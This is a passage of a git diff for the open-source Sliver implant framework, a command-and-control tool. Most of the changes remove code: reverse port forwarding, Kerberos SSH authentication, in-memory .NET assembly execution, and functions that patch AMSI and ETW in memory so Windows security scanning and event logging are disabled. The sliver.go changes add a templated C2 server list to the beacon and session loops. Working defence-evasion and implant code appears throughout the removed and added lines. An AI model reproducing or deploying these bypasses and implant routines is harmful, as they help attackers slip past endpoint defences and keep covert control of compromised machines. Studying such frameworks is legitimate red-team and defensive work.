-		log.Printf("Failed to parse number from %s", rawPort)
-		// {{end}}
-		return "", defaultPort
-	}
-	port := uint32(portNumber)
-	if port < 1 || 65535 < port {
-		// {{if .Config.Debug}}
-		log.Printf("Invalid port number %d", port)
-		// {{end}}
-		return "", defaultPort
-	}
-	return host, port
-}
-
-// Port - Returns the TCP port of the proxy
-func (p *ChannelProxy) Port() uint32 {
-	_, port := p.HostPort()
-	return port
-}
-
-// Host - Returns the host (i.e., interface) of the TCP proxy
-func (p *ChannelProxy) Host() string {
-	host, _ := p.HostPort()
-	return host
-}
-
-func (p *ChannelProxy) dialTimeout() time.Duration {
-	if p.DialTimeout > 0 {
-		return p.DialTimeout
-	}
-	return 30 * time.Second
-}
-
-func nextPortfwdID() int {
-	portfwdID++
-	return portfwdID
-}
-
-// NewTunnelID - New 64-bit identifier
-func NewTunnelID() uint64 {
-	randBuf := make([]byte, 8)
-	rand.Read(randBuf)
-	return binary.LittleEndian.Uint64(randBuf)
-}

implant/sliver/rportfwd/tunnel_writer.go

@@ -1,71 +0,0 @@
-package rportfwd
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-// tunnelWriter - Sends data back to the server based on data read()
-// I know the reader/writer stuff is a little hard to keep track of
-type tunnelWriter struct {
-	tun      *transports.Tunnel
-	conn     *transports.Connection
-	host     string
-	port     uint32
-	protocol int
-	tunnelID uint64
-}
-
-func (tw tunnelWriter) Write(data []byte) (int, error) {
-	n := len(data)
-	createReverse := false
-	rportfwdInfo := &sliverpb.RPortfwd{}
-	if tw.tun.WriteSequence() == 0 {
-		createReverse = true
-		rportfwdInfo.Host = tw.host
-		rportfwdInfo.Port = tw.port
-		rportfwdInfo.Protocol = int32(tw.protocol)
-		rportfwdInfo.TunnelID = tw.tunnelID
-	}
-	data, err := proto.Marshal(&sliverpb.TunnelData{
-		Sequence:      tw.tun.WriteSequence(), // The tunnel write sequence
-		Ack:           tw.tun.ReadSequence(),
-		TunnelID:      tw.tun.ID,
-		Data:          data,
-		CreateReverse: createReverse,
-		Rportfwd:      rportfwdInfo,
-	})
-	// {{if .Config.Debug}}
-	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
-	// {{end}}
-	tw.tun.IncWriteSequence() // Increment write sequence
-	tw.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgTunnelData,
-		Data: data,
-	}
-	return n, err
-}

implant/sliver/screen/screenshot_darwin.go

@@ -58,11 +58,9 @@ func DarwinCapture() []byte {
 	}
 	img, err := screen.Capture(0, 0, width, height)
 
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("Error Capture: %s", err)
-		//{{end}}
-	}
+	//{{if .Config.Debug}}
+	log.Printf("Error Capture: %s", err)
+	//{{end}}
 
 	var buf bytes.Buffer
 	if err != nil {

implant/sliver/screen/screenshot_linux.go

@@ -47,11 +47,9 @@ func LinuxCapture() []byte {
 	}
 	img, err := screen.Capture(0, 0, width, height)
 
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("Error Capture: %s", err)
-		//{{end}}
-	}
+	//{{if .Config.Debug}}
+	log.Printf("Error Capture: %s", err)
+	//{{end}}
 
 	var buf bytes.Buffer
 	if err != nil {

implant/sliver/screen/screenshot_windows.go

@@ -47,11 +47,9 @@ func WindowsCapture() []byte {
 	}
 	img, err := screen.Capture(0, 0, width, height)
 
-	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("Error Capture: %s", err)
-		//{{end}}
-	}
+	//{{if .Config.Debug}}
+	log.Printf("Error Capture: %s", err)
+	//{{end}}
 
 	var buf bytes.Buffer
 	if err != nil {

implant/sliver/service/service_windows.go

@@ -1,23 +1,5 @@
 package service
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"fmt"
 	"time"

implant/sliver/shell/ssh/ssh.go

@@ -3,21 +3,15 @@ package ssh
 import (
 	"bytes"
 	"fmt"
-	"io/ioutil"
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
 
 	"net"
 	"os"
 
-	"github.com/yiya1989/sshkrb5/krb5forssh"
 	"golang.org/x/crypto/ssh"
 	"golang.org/x/crypto/ssh/agent"
 )
 
-func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
+func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
 	var authMethods []ssh.AuthMethod
 	if password != "" {
 		// Try password auth first
@@ -29,17 +23,6 @@ func getClient(host string, port uint16, username string, password string, privK
 			return nil, err
 		}
 		authMethods = append(authMethods, ssh.PublicKeys(signer))
-	} else if krb5conf != "" && keytab != nil && realm != "" {
-		// Then try kerberos auth
-		krb5ConfData, err := ioutil.ReadFile(krb5conf)
-		if err != nil {
-			return nil, err
-		}
-		sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
-		if err != nil {
-			return nil, err
-		}
-		authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
 	} else {
 		// Use ssh-agent if neither password nor private key has been provided
 		// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
@@ -52,10 +35,6 @@ func getClient(host string, port uint16, username string, password string, privK
 		authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
 	}
 
-	// {{if .Config.Debug}}
-	log.Printf("Auth methods: %+v\n", authMethods)
-	// {{end}}
-
 	config := &ssh.ClientConfig{
 		User: username,
 		Auth: authMethods,
@@ -74,12 +53,12 @@ func getClient(host string, port uint16, username string, password string, privK
 }
 
 // RunSSHCommand - SSH to a host and execute a command
-func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
+func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
 	var (
 		stdout bytes.Buffer
 		stderr bytes.Buffer
 	)
-	sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
+	sshc, err := getClient(host, port, username, password, privKey)
 	if err != nil {
 		return "", "", err
 	}

implant/sliver/sliver.go

@@ -51,7 +51,6 @@ import (
 	consts "github.com/bishopfox/sliver/implant/sliver/constants"
 	"github.com/bishopfox/sliver/implant/sliver/handlers"
 	"github.com/bishopfox/sliver/implant/sliver/hostuuid"
-	"github.com/bishopfox/sliver/implant/sliver/locale"
 	"github.com/bishopfox/sliver/implant/sliver/limits"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -68,7 +67,14 @@ import (
 )
 
 var (
-	InstanceID       string
+	InstanceID string
+
+	c2Servers = []string{
+		// {{range $index, $value := .Config.C2}}
+		"{{$value}}", // {{$index}}
+		// {{end}}
+	}
+
 	connectionErrors = 0
 )
 
@@ -196,7 +202,7 @@ func beaconStartup() {
 	defer func() {
 		abort <- struct{}{}
 	}()
-	beacons := transports.StartBeaconLoop(abort)
+	beacons := transports.StartBeaconLoop(c2Servers, abort)
 	for beacon := range beacons {
 		// {{if .Config.Debug}}
 		log.Printf("Next beacon = %v", beacon)
@@ -228,7 +234,7 @@ func sessionStartup() {
 	defer func() {
 		abort <- struct{}{}
 	}()
-	connections := transports.StartConnectionLoop(abort)
+	connections := transports.StartConnectionLoop(c2Servers, abort)
 	for connection := range connections {
 		if connection != nil {
 			err := sessionMainLoop(connection)
@@ -294,8 +300,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		Register:    register,
 		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
-	time.Sleep(time.Second)
 	beacon.Close()
+	time.Sleep(time.Second)
 
 	// BeaconMain - Is executed in it's own goroutine as the function will block
 	// until all tasks complete (in success or failure), if a task handler blocks
@@ -347,7 +353,6 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 		// {{if .Config.Debug}}
 		log.Printf("[beacon] closing ...")
 		// {{end}}
-		time.Sleep(time.Second)
 		beacon.Close()
 	}()
 	// {{if .Config.Debug}}
@@ -475,7 +480,9 @@ func openSessionHandler(data []byte) {
 		log.Printf("[beacon] failed to parse open session msg: %s", err)
 		// {{end}}
 	}
-
+	// {{if .Config.Debug}}
+	log.Printf("[beacon] open session -> %v", openSession.C2S)
+	// {{end}}
 	if openSession.Delay != 0 {
 		// {{if .Config.Debug}}
 		log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -485,7 +492,7 @@ func openSessionHandler(data []byte) {
 
 	go func() {
 		abort := make(chan struct{})
-		connections := transports.StartConnectionLoop(abort)
+		connections := transports.StartConnectionLoop(openSession.C2S, abort)
 		defer func() { abort <- struct{}{} }()
 		connectionAttempts := 0
 		for connection := range connections {
@@ -541,7 +548,6 @@ func sessionMainLoop(connection *transports.Connection) error {
 	tunHandlers := handlers.GetTunnelHandlers()
 	sysHandlers := handlers.GetSystemHandlers()
 	specialHandlers := handlers.GetSpecialHandlers()
-	rportfwdHandlers := handlers.GetRportFwdHandlers()
 
 	for envelope := range connection.Recv {
 		if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -554,11 +560,6 @@ func sessionMainLoop(connection *transports.Connection) error {
 			log.Printf("[recv] pivotHandler with type %d", envelope.Type)
 			// {{end}}
 			go handler(envelope, connection)
-		} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
-			// {{if .Config.Debug}}
-			log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
-			// {{end}}
-			go handler(envelope, connection)
 		} else if handler, ok := sysHandlers[envelope.Type]; ok {
 			// Beware, here be dragons.
 			// This is required for the specific case of token impersonation:
@@ -683,6 +684,5 @@ func registerSliver() *sliverpb.Register {
 		ReconnectInterval: int64(transports.GetReconnectInterval()),
 		ConfigID:          "{{ .Config.ID }}",
 		PeerID:            pivots.MyPeerID,
-		Locale:            locale.GetLocale(),
 	}
 }

implant/sliver/spoof/spoof_windows.go

@@ -1,31 +1,12 @@
 //go:build windows
+// +build windows
 
 package spoof
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
+	"golang.org/x/sys/windows"
 	"os/exec"
 	"syscall"
-
-	"golang.org/x/sys/windows"
-
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}

implant/sliver/taskrunner/dotnet_windows.go

@@ -1,109 +0,0 @@
-//go:build windows
-// +build windows
-
-package taskrunner
-
-import (
-	"crypto/sha256"
-	"errors"
-	"fmt"
-	clr "github.com/Ne0nd0g/go-clr"
-	"sync"
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-)
-
-var (
-	clrInstance *CLRInstance
-	assemblies  []*assembly
-)
-
-type assembly struct {
-	methodInfo *clr.MethodInfo
-	hash       [32]byte
-}
-
-type CLRInstance struct {
-	runtimeHost *clr.ICORRuntimeHost
-	sync.Mutex
-}
-
-func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
-	c.Lock()
-	defer c.Unlock()
-	if c.runtimeHost == nil {
-		// {{if .Config.Debug}}
-		log.Printf("Initializing CLR runtime host")
-		// {{end}}
-		c.runtimeHost, _ = clr.LoadCLR(runtime)
-		err := clr.RedirectStdoutStderr()
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("could not redirect stdout/stderr: %v\n", err)
-			// {{end}}
-		}
-	}
-	return c.runtimeHost
-}
-
-func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
-	var (
-		methodInfo *clr.MethodInfo
-		err        error
-	)
-
-	rtHost := clrInstance.GetRuntimeHost(runtime)
-	if rtHost == nil {
-		return "", errors.New("Could not load CLR runtime host")
-	}
-
-	if asm := getAssembly(data); asm != nil {
-		methodInfo = asm.methodInfo
-	} else {
-		methodInfo, err = clr.LoadAssembly(rtHost, data)
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("could not load assembly: %v\n", err)
-			// {{end}}
-			return "", err
-		}
-		addAssembly(methodInfo, data)
-	}
-	if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
-		// for methods like Main(String[] args), if we pass an empty string slice
-		// the clr loader will not pass the argument and look for a method with
-		// no arguments, which won't work
-		assemblyArgs = []string{" "}
-	}
-	// {{if .Config.Debug}}
-	log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
-	log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
-	// {{end}}
-	stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
-	// {{if .Config.Debug}}
-	log.Printf("Got output: %s\n%s\n", stdout, stderr)
-	// {{end}}
-	return fmt.Sprintf("%s\n%s", stdout, stderr), nil
-}
-
-func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
-	asmHash := sha256.Sum256(data)
-	asm := &assembly{methodInfo: methodInfo, hash: asmHash}
-	assemblies = append(assemblies, asm)
-}
-
-func getAssembly(data []byte) *assembly {
-	asmHash := sha256.Sum256(data)
-	for _, asm := range assemblies {
-		if asm.hash == asmHash {
-			return asm
-		}
-	}
-	return nil
-}
-
-func init() {
-	clrInstance = &CLRInstance{}
-	assemblies = make([]*assembly, 0)
-}

implant/sliver/taskrunner/task_windows.go

@@ -200,96 +200,6 @@ func LocalTask(data []byte, rwxPages bool) error {
 	return err
 }
 
-func patchAmsi() error {
-	// load amsi.dll
-	amsiDLL := windows.NewLazyDLL("amsi.dll")
-	amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
-	amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
-	amsiScanString := amsiDLL.NewProc("AmsiScanString")
-
-	// patch
-	amsiAddr := []uintptr{
-		amsiScanBuffer.Addr(),
-		amsiInitialize.Addr(),
-		amsiScanString.Addr(),
-	}
-	patch := byte(0xC3)
-	for _, addr := range amsiAddr {
-		// skip if already patched
-		if *(*byte)(unsafe.Pointer(addr)) != patch {
-			// {{if .Config.Debug}}
-			log.Println("Patching AMSI")
-			// {{end}}
-			var oldProtect uint32
-			err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
-			if err != nil {
-				//{{if .Config.Debug}}
-				log.Println("VirtualProtect failed:", err)
-				//{{end}}
-				return err
-			}
-			*(*byte)(unsafe.Pointer(addr)) = 0xC3
-			err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
-			if err != nil {
-				//{{if .Config.Debug}}
-				log.Println("VirtualProtect (restauring) failed:", err)
-				//{{end}}
-				return err
-			}
-		}
-	}
-	return nil
-}
-
-func patchEtw() error {
-	ntdll := windows.NewLazyDLL("ntdll.dll")
-	etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
-
-	// patch
-	patch := byte(0xC3)
-	// skip if already patched
-	if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
-		// {{if .Config.Debug}}
-		log.Println("Patching ETW")
-		// {{end}}
-		var oldProtect uint32
-		err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
-		if err != nil {
-			//{{if .Config.Debug}}
-			log.Println("VirtualProtect failed:", err)
-			//{{end}}
-			return err
-		}
-		*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
-		err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
-		if err != nil {
-			//{{if .Config.Debug}}
-			log.Println("VirtualProtect (restauring) failed:", err)
-			//{{end}}
-			return err
-		}
-	}
-	return nil
-}
-
-func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
-	if amsiBypass {
-		err := patchAmsi()
-		if err != nil {
-			return "", err
-		}
-	}
-
-	if etwBypass {
-		err := patchEtw()
-		if err != nil {
-			return "", err
-		}
-	}
-
-	return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
-}
-
 func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
 	var (
 		stdoutBuf, stderrBuf bytes.Buffer

implant/sliver/tcpproxy/tcpproxy.go

@@ -1,475 +0,0 @@
-package tcpproxy
-
-// Copyright 2017 Google Inc.
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-// Package tcpproxy lets users build TCP proxies, optionally making
-// routing decisions based on HTTP/1 Host headers and the SNI hostname
-// in TLS connections.
-//
-// Typical usage:
-//
-//     var p tcpproxy.Proxy
-//     p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
-//     p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
-//     p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
-//     p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
-//     p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
-//     p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
-//     log.Fatal(p.Run())
-//
-// Calling Run (or Start) on a proxy also starts all the necessary
-// listeners.
-//
-// For each accepted connection, the rules for that ipPort are
-// matched, in order. If one matches (currently HTTP Host, SNI, or
-// always), then the connection is handed to the target.
-//
-// The two predefined Target implementations are:
-//
-// 1) DialProxy, proxying to another address (use the To func to return a
-// DialProxy value),
-//
-// 2) TargetListener, making the matched connection available via a
-// net.Listener.Accept call.
-//
-// But Target is an interface, so you can also write your own.
-//
-// Note that tcpproxy does not do any TLS encryption or decryption. It
-// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
-// header is unencrypted, for better or worse.
-//
-// This package makes no API stability promises. If you depend on it,
-// vendor it.
-
-import (
-	"bufio"
-	"context"
-	"errors"
-	"fmt"
-	"io"
-	"log"
-	"net"
-	"time"
-)
-
-// Proxy is a proxy. Its zero value is a valid proxy that does
-// nothing. Call methods to add routes before calling Start or Run.
-//
-// The order that routes are added in matters; each is matched in the order
-// registered.
-type Proxy struct {
-	configs map[string]*config // ip:port => config
-
-	lns   []net.Listener
-	donec chan struct{} // closed before err
-	err   error         // any error from listening
-
-	// ListenFunc optionally specifies an alternate listen
-	// function. If nil, net.Dial is used.
-	// The provided net is always "tcp".
-	ListenFunc func(net, laddr string) (net.Listener, error)
-}
-
-// Matcher reports whether hostname matches the Matcher's criteria.
-type Matcher func(ctx context.Context, hostname string) bool
-
-// equals is a trivial Matcher that implements string equality.
-func equals(want string) Matcher {
-	return func(_ context.Context, got string) bool {
-		return want == got
-	}
-}
-
-// config contains the proxying state for one listener.
-type config struct {
-	routes      []route
-	acmeTargets []Target // accumulates targets that should be probed for acme.
-	stopACME    bool     // if true, AddSNIRoute doesn't add targets to acmeTargets.
-}
-
-// A route matches a connection to a target.
-type route interface {
-	// match examines the initial bytes of a connection, looking for a
-	// match. If a match is found, match returns a non-nil Target to
-	// which the stream should be proxied. match returns nil if the
-	// connection doesn't match.
-	//
-	// match must not consume bytes from the given bufio.Reader, it
-	// can only Peek.
-	//
-	// If an sni or host header was parsed successfully, that will be
-	// returned as the second parameter.
-	match(*bufio.Reader) (Target, string)
-}
-
-func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
-	if p.ListenFunc != nil {
-		return p.ListenFunc
-	}
-	return net.Listen
-}
-
-func (p *Proxy) configFor(ipPort string) *config {
-	if p.configs == nil {
-		p.configs = make(map[string]*config)
-	}
-	if p.configs[ipPort] == nil {
-		p.configs[ipPort] = &config{}
-	}
-	return p.configs[ipPort]
-}
-
-func (p *Proxy) addRoute(ipPort string, r route) {
-	cfg := p.configFor(ipPort)
-	cfg.routes = append(cfg.routes, r)
-}
-
-// AddRoute appends an always-matching route to the ipPort listener,
-// directing any connection to dest.
-//
-// This is generally used as either the only rule (for simple TCP
-// proxies), or as the final fallback rule for an ipPort.
-//
-// The ipPort is any valid net.Listen TCP address.
-func (p *Proxy) AddRoute(ipPort string, dest Target) {
-	p.addRoute(ipPort, fixedTarget{dest})
-}
-
-type fixedTarget struct {
-	t Target
-}
-
-func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
-
-// Run is calls Start, and then Wait.
-//
-// It blocks until there's an error. The return value is always
-// non-nil.
-func (p *Proxy) Run() error {
-	if err := p.Start(); err != nil {
-		return err
-	}
-	return p.Wait()
-}
-
-// Wait waits for the Proxy to finish running. Currently this can only
-// happen if a Listener is closed, or Close is called on the proxy.
-//
-// It is only valid to call Wait after a successful call to Start.
-func (p *Proxy) Wait() error {
-	<-p.donec
-	return p.err
-}
-
-// Close closes all the proxy's self-opened listeners.
-func (p *Proxy) Close() error {
-	for _, c := range p.lns {
-		c.Close()
-	}
-	return nil
-}
-
-// Start creates a TCP listener for each unique ipPort from the
-// previously created routes and starts the proxy. It returns any
-// error from starting listeners.
-//
-// If it returns a non-nil error, any successfully opened listeners
-// are closed.
-func (p *Proxy) Start() error {
-	if p.donec != nil {
-		return errors.New("already started")
-	}
-	p.donec = make(chan struct{})
-	errc := make(chan error, len(p.configs))
-	p.lns = make([]net.Listener, 0, len(p.configs))
-	for ipPort, config := range p.configs {
-		ln, err := p.netListen()("tcp", ipPort)
-		if err != nil {
-			p.Close()
-			return err
-		}
-		p.lns = append(p.lns, ln)
-		go p.serveListener(errc, ln, config.routes)
-	}
-	go p.awaitFirstError(errc)
-	return nil
-}
-
-func (p *Proxy) awaitFirstError(errc <-chan error) {
-	p.err = <-errc
-	close(p.donec)
-}
-
-func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
-	for {
-		c, err := ln.Accept()
-		if err != nil {
-			ret <- err
-			return
-		}
-		go p.serveConn(c, routes)
-	}
-}
-
-// serveConn runs in its own goroutine and matches c against routes.
-// It returns whether it matched purely for testing.
-func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
-	br := bufio.NewReader(c)
-	for _, route := range routes {
-		if target, hostName := route.match(br); target != nil {
-			if n := br.Buffered(); n > 0 {
-				peeked, _ := br.Peek(br.Buffered())
-				c = &Conn{
-					HostName: hostName,
-					Peeked:   peeked,
-					Conn:     c,
-				}
-			}
-			target.HandleConn(c)
-			return true
-		}
-	}
-	// TODO: hook for this?
-	log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
-	c.Close()
-	return false
-}
-
-// Conn is an incoming connection that has had some bytes read from it
-// to determine how to route the connection. The Read method stitches
-// the peeked bytes and unread bytes back together.
-type Conn struct {
-	// HostName is the hostname field that was sent to the request router.
-	// In the case of TLS, this is the SNI header, in the case of HTTPHost
-	// route, it will be the host header.  In the case of a fixed
-	// route, i.e. those created with AddRoute(), this will always be
-	// empty. This can be useful in the case where further routing decisions
-	// need to be made in the Target impementation.
-	HostName string
-
-	// Peeked are the bytes that have been read from Conn for the
-	// purposes of route matching, but have not yet been consumed
-	// by Read calls. It set to nil by Read when fully consumed.
-	Peeked []byte
-
-	// Conn is the underlying connection.
-	// It can be type asserted against *net.TCPConn or other types
-	// as needed. It should not be read from directly unless
-	// Peeked is nil.
-	net.Conn
-}
-
-func (c *Conn) Read(p []byte) (n int, err error) {
-	if len(c.Peeked) > 0 {
-		n = copy(p, c.Peeked)
-		c.Peeked = c.Peeked[n:]
-		if len(c.Peeked) == 0 {
-			c.Peeked = nil
-		}
-		return n, nil
-	}
-	return c.Conn.Read(p)
-}
-
-// Target is what an incoming matched connection is sent to.
-type Target interface {
-	// HandleConn is called when an incoming connection is
-	// matched. After the call to HandleConn, the tcpproxy
-	// package never touches the conn again. Implementations are
-	// responsible for closing the connection when needed.
-	//
-	// The concrete type of conn will be of type *Conn if any
-	// bytes have been consumed for the purposes of route
-	// matching.
-	HandleConn(net.Conn)
-}
-
-// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
-func To(addr string) *DialProxy {
-	return &DialProxy{Addr: addr}
-}
-
-// DialProxy implements Target by dialing a new connection to Addr
-// and then proxying data back and forth.
-//
-// The To func is a shorthand way of creating a DialProxy.
-type DialProxy struct {
-	// Addr is the TCP address to proxy to.
-	Addr string
-
-	// KeepAlivePeriod sets the period between TCP keep alives.
-	// If zero, a default is used. To disable, use a negative number.
-	// The keep-alive is used for both the client connection and
-	KeepAlivePeriod time.Duration
-
-	// DialTimeout optionally specifies a dial timeout.
-	// If zero, a default is used.
-	// If negative, the timeout is disabled.
-	DialTimeout time.Duration
-
-	// DialContext optionally specifies an alternate dial function
-	// for TCP targets. If nil, the standard
-	// net.Dialer.DialContext method is used.
-	DialContext func(ctx context.Context, network, address string) (net.Conn, error)
-
-	// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
-	// If nil, the error is logged and src is closed.
-	// If non-nil, src is not closed automatically.
-	OnDialError func(src net.Conn, dstDialErr error)
-
-	// ProxyProtocolVersion optionally specifies the version of
-	// HAProxy's PROXY protocol to use. The PROXY protocol provides
-	// connection metadata to the DialProxy target, via a header
-	// inserted ahead of the client's traffic. The DialProxy target
-	// must explicitly support and expect the PROXY header; there is
-	// no graceful downgrade.
-	// If zero, no PROXY header is sent. Currently, version 1 is supported.
-	ProxyProtocolVersion int
-}
-
-// UnderlyingConn returns c.Conn if c of type *Conn,
-// otherwise it returns c.
-func UnderlyingConn(c net.Conn) net.Conn {
-	if wrap, ok := c.(*Conn); ok {
-		return wrap.Conn
-	}
-	return c
-}
-
-func goCloseConn(c net.Conn) { go c.Close() }
-
-// HandleConn implements the Target interface.
-func (dp *DialProxy) HandleConn(src net.Conn) {
-	ctx := context.Background()
-	var cancel context.CancelFunc
-	if dp.DialTimeout >= 0 {
-		ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
-	}
-	dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
-	if cancel != nil {
-		cancel()
-	}
-	if err != nil {
-		dp.onDialError()(src, err)
-		return
-	}
-	defer goCloseConn(dst)
-
-	if err = dp.sendProxyHeader(dst, src); err != nil {
-		dp.onDialError()(src, err)
-		return
-	}
-	defer goCloseConn(src)
-
-	if ka := dp.keepAlivePeriod(); ka > 0 {
-		if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
-			c.SetKeepAlive(true)
-			c.SetKeepAlivePeriod(ka)
-		}
-		if c, ok := dst.(*net.TCPConn); ok {
-			c.SetKeepAlive(true)
-			c.SetKeepAlivePeriod(ka)
-		}
-	}
-
-	errc := make(chan error, 1)
-	go proxyCopy(errc, src, dst)
-	go proxyCopy(errc, dst, src)
-	<-errc
-}
-
-func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
-	switch dp.ProxyProtocolVersion {
-	case 0:
-		return nil
-	case 1:
-		var srcAddr, dstAddr *net.TCPAddr
-		if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
-			srcAddr = a
-		}
-		if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
-			dstAddr = a
-		}
-
-		if srcAddr == nil || dstAddr == nil {
-			_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
-			return err
-		}
-
-		family := "TCP4"
-		if srcAddr.IP.To4() == nil {
-			family = "TCP6"
-		}
-		_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
-		return err
-	default:
-		return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
-	}
-}
-
-// proxyCopy is the function that copies bytes around.
-// It's a named function instead of a func literal so users get
-// named goroutines in debug goroutine stack dumps.
-func proxyCopy(errc chan<- error, dst, src net.Conn) {
-	// Before we unwrap src and/or dst, copy any buffered data.
-	if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
-		if _, err := dst.Write(wc.Peeked); err != nil {
-			errc <- err
-			return
-		}
-		wc.Peeked = nil
